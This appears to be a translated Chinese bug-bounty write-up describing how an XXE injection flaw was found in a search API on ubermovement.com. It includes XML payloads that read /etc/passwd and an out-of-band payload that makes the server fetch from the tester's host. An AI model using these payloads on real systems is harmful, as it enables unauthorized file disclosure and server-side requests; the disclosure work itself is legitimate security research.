如何挖掘Uber网站的XXE注入漏洞

科普

什么是XXE注入漏洞? XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。在XML1.0标准里,XML文档结构⾥里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。

正文

那是2016年7月26日的晚上,我游荡在ubermovement网站上,鉴于这只是一个小型应用网站,没有太多的参数可以进行注入测试,我只能先从界面上那大大的搜索框开始常规的测试。

u1

首先,打开我的 Burp Suite 设置代理开始监听浏览器请求,然后就是在网站上瞎转悠咯…

随后,我在网站目录中发现 “search” 存在两个请求:

1. 这个是我搜索的关键字:http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0

2. http://ubermovement.com/api/search/GeneralSearch

u2

现在,对于第一个请求我要开始进行各种测试了,包括:XSS、SQL 注入、XPATH、XXE、命令注入…

但理想总是丰满的,而现实却是骨干的,我没有发现任何可能存在的漏洞。

那我只能开始继续测试第二请求了,由于其没有任何参数,所以我将其发送至 “Repeater” 模块,看看是否可能存在目录相关的漏洞。

u3

在大部分的注入测试全部失败后,我开始尝试看看是否存在 XXE 漏洞。

第一件事是先将请求方法改为 POST 看看会获得什么样的相应:

u4

结果,POST 请求的相应跟 GET 请求一样,那么请求头部加一个Content-type:application/xml同时添加如下基本的 XML 代码作为请求怎么样呢?

<?xml version=”1.0″encoding=”utf-8″?>

<GeneralSearch>cat</GeneralSearch>

u5

竟然回复的是一个 XML 错误,太好了,这下我有60%的把握确定这里存在 XXE 漏洞。既然确定了那就开始进行 Blind XEE 测试吧。

第一个使用如下 XML 代码:

<?xmlversion="1.0" encoding="utf-8"?> 
<!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<GeneralSearch>&xxe;</GeneralSearch>

但很不幸,我得到还是一个 XML 错误的回复。那现在来试试通过 OOB(Out-of-band)方法进行远程文件访问测试:

step-1: 在本地上下载安装 XAMPP 并搭建一个网站

step-2: 开启 80 端口的网站,让外部网络能够访问到

step-3: 使用如下 Payoad:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>

step-4: 开始攻击,随后得到如下报错

u6

step-5: 接着查看服务器日志我发现了来自目标服务器的资源获取请求

u7

u8

u9

至此,手工测试已经基本确定了目标存在 XXE 漏洞,那么再让我们用 AWVS 扫描确认下吧。

u10

确定目标存在 XXE 漏洞,那目标的子域名是否同样存在这个漏洞呢?来让我们使用 Google 搜索下就知道了,测试发现目标子域名同样也都存在这个漏洞,好了是时候提交漏洞了。

 

*本文参考来源于nerdint  译者:RoarTalk  Mottoin小编整理发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/86853.html

发表评论

登录后才能评论

评论列表(2条)

  • m09046105 2016年8月11日 下午2:58

    真心牛逼 经验丰富啊 老司机求带

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code